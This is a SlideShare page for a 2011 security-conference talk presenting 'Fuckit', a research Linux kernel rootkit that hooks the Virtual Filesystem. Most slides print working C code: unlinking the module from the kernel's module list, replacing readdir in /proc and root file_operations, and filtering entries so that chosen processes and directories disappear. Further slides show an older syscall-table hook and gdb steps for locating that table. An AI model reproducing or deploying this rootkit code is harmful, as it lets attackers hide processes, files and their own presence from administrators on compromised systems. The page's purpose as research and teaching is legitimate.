SlideShare une entreprise Scribd logo
1  sur  22
Télécharger pour lire hors ligne
Linux rootkits without syscall patching,
(the VFS way)
Confraria SECURITY & IT – 28 Set 2011
#> whoami
§  Ricardo Mourato – 25 yo
§  Computer Science Degree
§  InfoSec & SuperBock Stout addicted
§  OS X, Slackware, FreeBSD, OpenBSD, Solaris fanatic
§  Java, .Net, Python, Ruby, C, C++, ASM Lover
§  Windows (All versions) , Perl (All versions) and Printers (Yes,
    they came from hell !) hater
§  root, right here :)




                                                                      2
Agenda
§  Linux rootkits – brief talk
§  Linux 2.{5,6} kernel – what changed ?
§  The Virtual Filesystem (VFS)
§  Meet /proc, our friend!
§  Introducing
§  Show time J
§  Retrospect
§  Questions & Answers




                                            3
Linux rootkits – how they were?
§  In the beginning…
   §  User-land Trojaned binaries mostly
         §  Easy to spot
         §  Easy to code
         §  However, hard to hide!


   §  LRK5 was a good bastard…




                                            4
Linux rootkits – how they were?
§  Not so far away…
   §  The Kernel-land approach
         §    Loadable Kernel Modules or /dev/kmem “patching”
         §    Syscall patching
         §    Easy to code
         §    Less easy to find


   Adore & suckit were also good bastards!




                                                                 5
Linux rootkits – how they were?

  extern void *sys_call_table[];

  int init_module(void) {
       original_call = sys_call_table[__NR_open];
       sys_call_table[__NR_open] = evil_open;
       return 0;
  }




                                                    6
Linux 2.{5,6} – what changed?

§  Main change:
   §    OMG! sys_call_table[] no longer exported!!!
          §  Even if you find it, it will be read-only

§  Workaround:
   §    Find IDT
   §    Find the 0x80 interrupt
   §    Get the system_call() function location
   §    Use gdb kung fu and search memory for sys_call_table[] within
         this function


                                                                         7
Linux 2.{5,6} – what changed?


  $ gdb -q /usr/src/linux/vmlinux
  (no debugging symbols found)...(gdb) disass system_call
  …
  0xc0106bf4 : call *0xc01e0f18(,%eax,4)
  …
  (gdb) print &sys_call_table
   $1 = ( *) 0xc01e0f18




                                                            8
The Virtal Filesystem

§  Is the primary interface to underlying filesystems (common file model)
§  Exports a set of interfaces for every individual filesystem
§  Each filesystem must “implement” this interface in order to become a
    common file model
§  Some interesting players are:
    §  struct dentry;
    §  struct file_operations;
    §  struct inode_operations;




                                                                        9
/proc is our friend

§  So… everything in linux “is a file” right?
    §  Including the ones located at /proc even if “in memory”

§  And… most user-land tools rely on /proc to get information!
    §  This tools include:
           §    ps
           §    netstat
           §    top
           §    mount
           §    And many, many others…

§  Remember struct file_operations ? J


                                                                  10
Introducing Fuckit…

§  Fu Control Kit (just in case!)
§  A research born VFS rootkit capable of:
    §    Hide itself       ß No sh*t sherlock?
    §    Hide processes
    §    Hide files and directories
    §    TTY sniffing




                                                   11
Module hiding

§  Modules are linked together in a double link list maintained by the
    kernel
§  The kernel have internal functions to “unlink” the unloaded modules
    from the list
§  Just use them wisely J




                                                                          12
Module hiding

       static struct module *m = THIS_MODULE;

       void hideme(void){
                kobject_del(&m->mkobj.kobj);
                list_del(&m->list);
       }




                                                13
“Hook” the Virtual Filesystem (/proc)

   static struct file_operations *proc_fops; ß remember again? J

   void hook_proc(void){
           /* we are not /proc yet */
           key = create_proc_entry(KEY,0666,NULL);
           /* now we become /proc :) */
           proc = key->parent;
           /* save the original, we will need it later*/
           proc_fops = (struct file_operations *)proc->proc_fops;

            original_proc_readdir = proc_fops->readdir;
            /* tha hook */
            proc_fops->readdir = fuckit_proc_readdir;
   }


                                                                     14
“Hook” the Virtual Filesystem (/)

   static struct file *f;

   int hook_root(void){

               f = filp_open("/",O_RDONLY,0600);
               if(IS_ERR(f)){
                         return -1;
               }
               original_root_readdir = f->f_op->readdir;
               f->f_op->readdir=fuckit_root_readdir;
               filp_close(f,NULL);

   return 0;
   }


                                                           15
Process hiding

static inline int fuckit_proc_filldir(void *__buf, const char *name, int namelen, loff_t offset,
u64 ino, unsigned d_type){
            //our hidden PID :)
            if(!strcmp(name,HIDDEN_PID) || !strcmp(name,KEY)){
                        return 0;
            }
return original_filldir(__buf,name,namelen,offset,ino,d_type);
}


static inline int fuckit_proc_readdir(struct file *filp, void *dirent, filldir_t filldir){
            //save this, we will need to return it later
            original_filldir = filldir;
            return original_proc_readdir(filp,dirent,fuckit_proc_filldir);
}


                                                                                              16
File and Directory hiding

static int fuckit_root_filldir(void *__buf, const char *name, int namelen, loff_t offset, u64 ino,
unsigned d_type){
            //if is our hidden file/directory return nothing! :)
            if(strncmp(name,HIDDEN_DIR,namelen)==0){
                                    return 0;
            }
return original_root_filldir(__buf,name,namelen,offset,ino,d_type);
}

static int fuckit_root_readdir(struct file *filp, void *dirent, filldir_t filldir){
            //save this, we will need to return it later
            original_root_filldir = filldir;
            return original_root_readdir(filp,dirent,fuckit_root_filldir);
}



                                                                                              17
Seeing is believing




                      18
Retrospect

§  Syscall patching in 2.6 kernel is a true “pain in the a**”
§  VFS hooks, they also do the job!
§  It is a good approach, however it has some cons
    §  It is possible to “brute force” /proc for hidden pids
           §  You should let the Linux scheduler do this job!


§  Hypervisor rootkits will kill -9 every kernel rookits on earth! J




                                                                         19
References

§  IBM developerWorks “Anatomy of the Linux filesystem”. Internet:
    http://www.ibm.com/developerworks/linux/library/l-linux-filesystem/.
    [Jan 25, 2011]
§  WangYao “Rootkit on Linux x86 v2.6” [Apr 21, 2009]
§  Dump “hideme (ng)”. Internet: http://trace.dump.cz/projects.php [Jan
    25, 2011]
§  Ubra “Process Hiding & The Linux scheduler”. Internet:
    http://www.phrack.org/issues.html?issue=63&id=18 [Jan 25, 2011]




                                                                           20
21
Questions & Answers



                ?

                      22

Contenu connexe

Tendances

Gdc09 Minimissile
Gdc09 MinimissileGdc09 Minimissile
Gdc09 Minimissile
Susan Gold
 
Chroot Protection and Breaking
Chroot Protection and BreakingChroot Protection and Breaking
Chroot Protection and Breaking
Anton Chuvakin
 
Hunting and Exploiting Bugs in Kernel Drivers - DefCamp 2012
Hunting and Exploiting Bugs in Kernel Drivers - DefCamp 2012Hunting and Exploiting Bugs in Kernel Drivers - DefCamp 2012
Hunting and Exploiting Bugs in Kernel Drivers - DefCamp 2012
DefCamp
 

Tendances (20)

NUMOSS 4th Week - Commandline Tutorial
NUMOSS 4th Week - Commandline TutorialNUMOSS 4th Week - Commandline Tutorial
NUMOSS 4th Week - Commandline Tutorial
 
Writing flexible filesystems in FUSE-Python
Writing flexible filesystems in FUSE-PythonWriting flexible filesystems in FUSE-Python
Writing flexible filesystems in FUSE-Python
 
コンテナ仮想、その裏側 〜user namespaceとrootlessコンテナ〜
コンテナ仮想、その裏側 〜user namespaceとrootlessコンテナ〜コンテナ仮想、その裏側 〜user namespaceとrootlessコンテナ〜
コンテナ仮想、その裏側 〜user namespaceとrootlessコンテナ〜
 
A.I. Exercise.
A.I. Exercise.A.I. Exercise.
A.I. Exercise.
 
Gdc09 Minimissile
Gdc09 MinimissileGdc09 Minimissile
Gdc09 Minimissile
 
Kernel entrance to-geek-
Kernel entrance to-geek-Kernel entrance to-geek-
Kernel entrance to-geek-
 
gitfs
gitfsgitfs
gitfs
 
Light my-fuse
Light my-fuseLight my-fuse
Light my-fuse
 
Embedded Linux Odp
Embedded Linux OdpEmbedded Linux Odp
Embedded Linux Odp
 
An (abridged) Ruby Plumber's Guide to *nix
An (abridged) Ruby Plumber's Guide to *nixAn (abridged) Ruby Plumber's Guide to *nix
An (abridged) Ruby Plumber's Guide to *nix
 
4.3 control mounting and unmounting of filesystems v2
4.3 control mounting and unmounting of filesystems v24.3 control mounting and unmounting of filesystems v2
4.3 control mounting and unmounting of filesystems v2
 
SDE TP 4 - Processus
SDE TP 4 - ProcessusSDE TP 4 - Processus
SDE TP 4 - Processus
 
Chroot Protection and Breaking
Chroot Protection and BreakingChroot Protection and Breaking
Chroot Protection and Breaking
 
Docker e postgresql
Docker e postgresqlDocker e postgresql
Docker e postgresql
 
How to make multi-boot USB drive for LiveCD iso images on EFI/UEFI and BIOS
 How to make multi-boot USB drive for LiveCD iso images on EFI/UEFI and BIOS How to make multi-boot USB drive for LiveCD iso images on EFI/UEFI and BIOS
How to make multi-boot USB drive for LiveCD iso images on EFI/UEFI and BIOS
 
Hunting and Exploiting Bugs in Kernel Drivers - DefCamp 2012
Hunting and Exploiting Bugs in Kernel Drivers - DefCamp 2012Hunting and Exploiting Bugs in Kernel Drivers - DefCamp 2012
Hunting and Exploiting Bugs in Kernel Drivers - DefCamp 2012
 
"Развитие ветки PHP-7"
"Развитие ветки PHP-7""Развитие ветки PHP-7"
"Развитие ветки PHP-7"
 
MongoDB shell games: Here be dragons .. and JavaScript!
MongoDB shell games: Here be dragons .. and JavaScript!MongoDB shell games: Here be dragons .. and JavaScript!
MongoDB shell games: Here be dragons .. and JavaScript!
 
Lets make better scripts
Lets make better scriptsLets make better scripts
Lets make better scripts
 
Development and practical use of CLI in perl 6
Development and practical use of CLI in perl 6Development and practical use of CLI in perl 6
Development and practical use of CLI in perl 6
 

Similaire à Confraria SECURITY & IT - Lisbon Set 29, 2011

Simplest-Ownage-Human-Observed… - Routers
 Simplest-Ownage-Human-Observed… - Routers Simplest-Ownage-Human-Observed… - Routers
Simplest-Ownage-Human-Observed… - Routers
Logicaltrust pl
 
Filip palian mateuszkocielski. simplest ownage human observed… routers
Filip palian mateuszkocielski. simplest ownage human observed… routersFilip palian mateuszkocielski. simplest ownage human observed… routers
Filip palian mateuszkocielski. simplest ownage human observed… routers
Yury Chemerkin
 
FreeBSD Jail Complete Example
FreeBSD Jail Complete ExampleFreeBSD Jail Complete Example
FreeBSD Jail Complete Example
Mohammed Farrag
 
Unix Programming with Perl
Unix Programming with PerlUnix Programming with Perl
Unix Programming with Perl
Kazuho Oku
 
Unix Shell Scripting
Unix Shell ScriptingUnix Shell Scripting
Unix Shell Scripting
Mustafa Qasim
 

Similaire à Confraria SECURITY & IT - Lisbon Set 29, 2011 (20)

Linux
LinuxLinux
Linux
 
Char Drivers And Debugging Techniques
Char Drivers And Debugging TechniquesChar Drivers And Debugging Techniques
Char Drivers And Debugging Techniques
 
Simplest-Ownage-Human-Observed… - Routers
 Simplest-Ownage-Human-Observed… - Routers Simplest-Ownage-Human-Observed… - Routers
Simplest-Ownage-Human-Observed… - Routers
 
Filip palian mateuszkocielski. simplest ownage human observed… routers
Filip palian mateuszkocielski. simplest ownage human observed… routersFilip palian mateuszkocielski. simplest ownage human observed… routers
Filip palian mateuszkocielski. simplest ownage human observed… routers
 
Java Hates Linux. Deal With It.
Java Hates Linux.  Deal With It.Java Hates Linux.  Deal With It.
Java Hates Linux. Deal With It.
 
Writing Character driver (loadable module) in linux
Writing Character driver (loadable module) in linuxWriting Character driver (loadable module) in linux
Writing Character driver (loadable module) in linux
 
[Kiwicon 2011] Post Memory Corruption Memory Analysis
[Kiwicon 2011] Post Memory Corruption Memory Analysis[Kiwicon 2011] Post Memory Corruption Memory Analysis
[Kiwicon 2011] Post Memory Corruption Memory Analysis
 
FreeBSD Portscamp, Kuala Lumpur 2016
FreeBSD Portscamp, Kuala Lumpur 2016FreeBSD Portscamp, Kuala Lumpur 2016
FreeBSD Portscamp, Kuala Lumpur 2016
 
FreeBSD Jail Complete Example
FreeBSD Jail Complete ExampleFreeBSD Jail Complete Example
FreeBSD Jail Complete Example
 
[HITB Malaysia 2011] Exploit Automation
[HITB Malaysia 2011] Exploit Automation[HITB Malaysia 2011] Exploit Automation
[HITB Malaysia 2011] Exploit Automation
 
Linux device drivers
Linux device drivers Linux device drivers
Linux device drivers
 
FreeBSD and Drivers
FreeBSD and DriversFreeBSD and Drivers
FreeBSD and Drivers
 
[CCC-28c3] Post Memory Corruption Memory Analysis
[CCC-28c3] Post Memory Corruption Memory Analysis[CCC-28c3] Post Memory Corruption Memory Analysis
[CCC-28c3] Post Memory Corruption Memory Analysis
 
Unix Programming with Perl
Unix Programming with PerlUnix Programming with Perl
Unix Programming with Perl
 
Exploitation of counter overflows in the Linux kernel
Exploitation of counter overflows in the Linux kernelExploitation of counter overflows in the Linux kernel
Exploitation of counter overflows in the Linux kernel
 
MINCS - containers in the shell script (Eng. ver.)
MINCS - containers in the shell script (Eng. ver.)MINCS - containers in the shell script (Eng. ver.)
MINCS - containers in the shell script (Eng. ver.)
 
55 new things in Java 7 - Devoxx France
55 new things in Java 7 - Devoxx France55 new things in Java 7 - Devoxx France
55 new things in Java 7 - Devoxx France
 
osd - co1 session7.pptx
osd - co1 session7.pptxosd - co1 session7.pptx
osd - co1 session7.pptx
 
Unix Shell Scripting
Unix Shell ScriptingUnix Shell Scripting
Unix Shell Scripting
 
Docker
DockerDocker
Docker
 

Dernier

Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slide
vu2urc
 

Dernier (20)

The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
 
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
 
Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivity
 
Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slide
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day Presentation
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed texts
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘
 

Confraria SECURITY & IT - Lisbon Set 29, 2011

  • 1. Linux rootkits without syscall patching, (the VFS way) Confraria SECURITY & IT – 28 Set 2011
  • 2. #> whoami §  Ricardo Mourato – 25 yo §  Computer Science Degree §  InfoSec & SuperBock Stout addicted §  OS X, Slackware, FreeBSD, OpenBSD, Solaris fanatic §  Java, .Net, Python, Ruby, C, C++, ASM Lover §  Windows (All versions) , Perl (All versions) and Printers (Yes, they came from hell !) hater §  root, right here :) 2
  • 3. Agenda §  Linux rootkits – brief talk §  Linux 2.{5,6} kernel – what changed ? §  The Virtual Filesystem (VFS) §  Meet /proc, our friend! §  Introducing §  Show time J §  Retrospect §  Questions & Answers 3
  • 4. Linux rootkits – how they were? §  In the beginning… §  User-land Trojaned binaries mostly §  Easy to spot §  Easy to code §  However, hard to hide! §  LRK5 was a good bastard… 4
  • 5. Linux rootkits – how they were? §  Not so far away… §  The Kernel-land approach §  Loadable Kernel Modules or /dev/kmem “patching” §  Syscall patching §  Easy to code §  Less easy to find Adore & suckit were also good bastards! 5
  • 6. Linux rootkits – how they were? extern void *sys_call_table[]; int init_module(void) { original_call = sys_call_table[__NR_open]; sys_call_table[__NR_open] = evil_open; return 0; } 6
  • 7. Linux 2.{5,6} – what changed? §  Main change: §  OMG! sys_call_table[] no longer exported!!! §  Even if you find it, it will be read-only §  Workaround: §  Find IDT §  Find the 0x80 interrupt §  Get the system_call() function location §  Use gdb kung fu and search memory for sys_call_table[] within this function 7
  • 8. Linux 2.{5,6} – what changed? $ gdb -q /usr/src/linux/vmlinux (no debugging symbols found)...(gdb) disass system_call … 0xc0106bf4 : call *0xc01e0f18(,%eax,4) … (gdb) print &sys_call_table $1 = ( *) 0xc01e0f18 8
  • 9. The Virtal Filesystem §  Is the primary interface to underlying filesystems (common file model) §  Exports a set of interfaces for every individual filesystem §  Each filesystem must “implement” this interface in order to become a common file model §  Some interesting players are: §  struct dentry; §  struct file_operations; §  struct inode_operations; 9
  • 10. /proc is our friend §  So… everything in linux “is a file” right? §  Including the ones located at /proc even if “in memory” §  And… most user-land tools rely on /proc to get information! §  This tools include: §  ps §  netstat §  top §  mount §  And many, many others… §  Remember struct file_operations ? J 10
  • 11. Introducing Fuckit… §  Fu Control Kit (just in case!) §  A research born VFS rootkit capable of: §  Hide itself ß No sh*t sherlock? §  Hide processes §  Hide files and directories §  TTY sniffing 11
  • 12. Module hiding §  Modules are linked together in a double link list maintained by the kernel §  The kernel have internal functions to “unlink” the unloaded modules from the list §  Just use them wisely J 12
  • 13. Module hiding static struct module *m = THIS_MODULE; void hideme(void){ kobject_del(&m->mkobj.kobj); list_del(&m->list); } 13
  • 14. “Hook” the Virtual Filesystem (/proc) static struct file_operations *proc_fops; ß remember again? J void hook_proc(void){ /* we are not /proc yet */ key = create_proc_entry(KEY,0666,NULL); /* now we become /proc :) */ proc = key->parent; /* save the original, we will need it later*/ proc_fops = (struct file_operations *)proc->proc_fops; original_proc_readdir = proc_fops->readdir; /* tha hook */ proc_fops->readdir = fuckit_proc_readdir; } 14
  • 15. “Hook” the Virtual Filesystem (/) static struct file *f; int hook_root(void){ f = filp_open("/",O_RDONLY,0600); if(IS_ERR(f)){ return -1; } original_root_readdir = f->f_op->readdir; f->f_op->readdir=fuckit_root_readdir; filp_close(f,NULL); return 0; } 15
  • 16. Process hiding static inline int fuckit_proc_filldir(void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type){ //our hidden PID :) if(!strcmp(name,HIDDEN_PID) || !strcmp(name,KEY)){ return 0; } return original_filldir(__buf,name,namelen,offset,ino,d_type); } static inline int fuckit_proc_readdir(struct file *filp, void *dirent, filldir_t filldir){ //save this, we will need to return it later original_filldir = filldir; return original_proc_readdir(filp,dirent,fuckit_proc_filldir); } 16
  • 17. File and Directory hiding static int fuckit_root_filldir(void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type){ //if is our hidden file/directory return nothing! :) if(strncmp(name,HIDDEN_DIR,namelen)==0){ return 0; } return original_root_filldir(__buf,name,namelen,offset,ino,d_type); } static int fuckit_root_readdir(struct file *filp, void *dirent, filldir_t filldir){ //save this, we will need to return it later original_root_filldir = filldir; return original_root_readdir(filp,dirent,fuckit_root_filldir); } 17
  • 19. Retrospect §  Syscall patching in 2.6 kernel is a true “pain in the a**” §  VFS hooks, they also do the job! §  It is a good approach, however it has some cons §  It is possible to “brute force” /proc for hidden pids §  You should let the Linux scheduler do this job! §  Hypervisor rootkits will kill -9 every kernel rookits on earth! J 19
  • 20. References §  IBM developerWorks “Anatomy of the Linux filesystem”. Internet: http://www.ibm.com/developerworks/linux/library/l-linux-filesystem/. [Jan 25, 2011] §  WangYao “Rootkit on Linux x86 v2.6” [Apr 21, 2009] §  Dump “hideme (ng)”. Internet: http://trace.dump.cz/projects.php [Jan 25, 2011] §  Ubra “Process Hiding & The Linux scheduler”. Internet: http://www.phrack.org/issues.html?issue=63&id=18 [Jan 25, 2011] 20
  • 21. 21